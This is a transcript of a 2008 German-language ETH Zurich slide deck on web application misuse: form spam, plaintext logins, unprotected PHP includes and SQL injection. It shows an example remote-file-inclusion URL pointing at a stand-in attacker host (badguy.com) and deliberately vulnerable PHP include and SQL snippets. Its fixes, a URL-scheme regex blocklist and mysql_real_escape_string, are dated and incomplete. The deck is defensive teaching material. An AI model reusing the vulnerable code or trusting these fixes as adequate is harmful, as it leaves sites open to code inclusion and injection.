Die Präsentation wird geladen. Bitte warten

Die Präsentation wird geladen. Bitte warten

Folgendes kann missbraucht werden: formulare unverschlüsselte login-informationen ungeschützte includes SQL-injection 28.11.2008 1 reto ambühler

Ähnliche Präsentationen


Präsentation zum Thema: "Folgendes kann missbraucht werden: formulare unverschlüsselte login-informationen ungeschützte includes SQL-injection 28.11.2008 1 reto ambühler"—  Präsentation transkript:

1 folgendes kann missbraucht werden: formulare unverschlüsselte login-informationen ungeschützte includes SQL-injection 28.11.2008 1 reto ambühler (ambuehler@ethz.ch)

2 formulare können missbraucht werden, wenn sie öffentlich zugänglich sind sie die eingabe von freiem text erlauben sie die eingabe einer freien email-adresse erlauben das zugehörige script den text an die email-adresse sendet das formular kann zum versenden von SPAM missbraucht werden ! 28.11.2008 2 reto ambühler (ambuehler@ethz.ch)

3 verhindern des missbrauchs von formularen: keine oder nur standard nachricht an freie email-adresse zugang zum formular z.b. mit CAPTCHA beschränken anmeldung mit username/passwort vorschalten naheliegend: NETZH-login verwenden. ja, aber... 28.11.2008 3 reto ambühler (ambuehler@ethz.ch)

4 schützen der NETHZ-login daten: daten nicht im klartext übertragen ! benutzen sie SSL / https ! falls die website im WCMS oder im traditionellen webhosting publiziert wird können wir ein zertifikat installieren 28.11.2008 4 reto ambühler (ambuehler@ethz.ch)

5 missbrauch von programmgesteuerten sites: aufruf der nächsten seite oder eines frames via script beispiel: include $seite; ermöglicht missbrauch wie: http://www.SITE.ethz.ch/index.php?seite= http://www.badguy.com/dobad.php 28.11.2008 5 reto ambühler (ambuehler@ethz.ch)

6 verhindern des missbrauchs von programm- gesteuerten sites: prüfen des parameters, so dass nur lokale dateien akzeptiert werden beispiel: filter mittels einer regular expression 28.11.2008 6 $pattern = /^http|^https|^url|^ftp|:|www/; if(preg_match($pattern,$seite)) $seite=index.htm; include $seite reto ambühler (ambuehler@ethz.ch)

7 SQL-injection: der datenbank-server wird dazu gebracht, eine willkürliche anweisung auszuführen beispiel: 28.11.2008 7 reto ambühler (ambuehler@ethz.ch)

8 SQL-injection (beispiel): 28.11.2008 8 reto ambühler (ambuehler@ethz.ch)

9 verhindern von SQL-injection: prüfen der parameter, so dass keine ungewollten aktionen ausgeführt werden können beispiel: funktion mysql_real_escape_string in PHP : 28.11.2008 9 $abfrage = "SELECT spalte1 FROM tabelle WHERE spalte2 = '". $_POST['spalte2Wert']."'"; reto ambühler (ambuehler@ethz.ch) $abfrage = "SELECT spalte1 FROM tabelle WHERE spalte2 = '". mysql_real_escape_string($_POST['spalte2Wert'])."'";

10 verhindern von SQL-injection (fortsetzung) : lesen sie die dokumentation zur verwendeten programmiersprache und datenbank 28.11.2008 10 reto ambühler (ambuehler@ethz.ch)

11 bemerkungen ? fragen ? anregungen ? 28.11.2008 11 reto ambühler (ambuehler@ethz.ch)


Herunterladen ppt "Folgendes kann missbraucht werden: formulare unverschlüsselte login-informationen ungeschützte includes SQL-injection 28.11.2008 1 reto ambühler"

Ähnliche Präsentationen


Google-Anzeigen